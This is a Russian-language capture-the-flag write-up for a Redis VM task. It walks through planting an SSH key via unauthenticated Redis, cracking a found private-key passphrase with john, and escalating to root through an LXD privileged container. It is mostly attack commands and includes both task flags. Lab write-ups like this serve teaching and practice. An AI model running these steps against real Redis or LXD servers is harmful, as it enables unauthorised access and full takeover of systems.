Writeup Redis_user/root 200+200
Ссылка на образ:
https://cloud.cnpo.ru/s/kYtyAyG62kgGnkW
Описание: Задание с VM. redis_user, redis_root
Формат ответа: flag{a-Z0-9!@#}
Примечание.
В ходе выполнения задания на соревнованиях 2020 года, IP-адрес был статическим и уникальным для каждой команды. В случае решения задания после мероприятия рекомендуется решать в virtualbox в режиме внутреннего виртуального адаптера или сетевого моста, если вы одни в сети.
1) Сканирование
sudo nmap -A -p- 172.28.128.13
После сканирования можно заметить ssh и redis, обычно ssh поздних версий долго ломаются, следовательно изучаем redis 4.0.9 версии.
Согласно https://book.hacktricks.xyz/pentesting/6379-pentesting-redis, извлекаем более подробную информацию с помощью команд
nmap —script redis-info -sV -p 6379 172.28.128.13
nc -vn 172.28.128.13 6379
redis-cli -h 172.28.128.13
Командой CONFIG GET * запрашиваем текущую конфигурацию сервера.
Так как web-сервер отсутствует, бесполезно настраивать webshell.
В выводе конфигурации можно заметить домашнюю директорию пользователя Redis (строка 166), что позволяет загрузить ключи SSH.
Командами
config get dir и
config set dir /var/lib/redis/.ssh
Для https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh необходимо:
Сгенерировать пару открытого и закрытого ключей ssh командой
ssh-keygen -t rsa
Записать открытый ключ в файл с 2-ми пустыми строками перед ключом и после.
(echo -e «\n\n»; cat ./.ssh/id_rsa.pub; echo -e «\n\n») > redis.txt
не работает на fish!
Импортируем текстовый файл в Redis:
cat redis.txt | redis-cli -h 172.28.128.13 -x set key
Проверяем и сохраняем ключ как «authorized_keys»
redis-cli -h 172.28.128.13
get key
config set dir /var/lib/redis/.ssh
config set dbfilename «authorized_keys»
save
exit
И заходим через пользователя redis по ssh на необходимую машину.
ssh redis@172.28.128.13
Рекомендуем перемещаться по удаленной машине с целью повышения привилегий с помощью https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
Любым из предложенных способов запускаем скрипт.
Необычный для себя файл находиться в директории /opt с названием id_rsa.bak.

В данном случае, это закрытый ключ ssh. Попытаемся подключиться по нему, но требуется passphrase.
Перебираем с помощью john. Преобразовываем id_rsa в hash читаемый john утилитой:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john —wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Парольная фраза найдена, пытаемся подключиться сначала из вне, затем от redis.
Проверяем предположение, что парольная фраза и является паролем.
Таким образом зашли за нужного пользователя. Получаем флаг.
Таким образом: flag{tn29i9FaLWCJ7oj}
Root:
Для нахождения вектора запускаем linpeas.sh от пользователя.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
Собираем образ разработчика на своей машине, запускаем на redis.
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd
$HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p
$HOME/ContainerImages/alpine/
cd
$HOME/ContainerImages/alpine/
wget
https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo
$HOME/go/bin/distrobuilder build-lxd
alpine.yaml
Загружаем полученные контейнеры на уязвимый сервер.
Распаковываем образ:
lxc image import lxd.tar.xz rootfs.squashfs —alias alpine
lxc image list
В таблице должен появиться образ alpine.
Создаем контейнер и добавляем путь к root
lxd init
(все значения по умолчанию)
lxc init alpine privesc -c security.privileged=true
lxc list
Если все успешно, запускаем контейнер.
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
id
Получаем flag{cLZhNbsxR6sLSoJ}
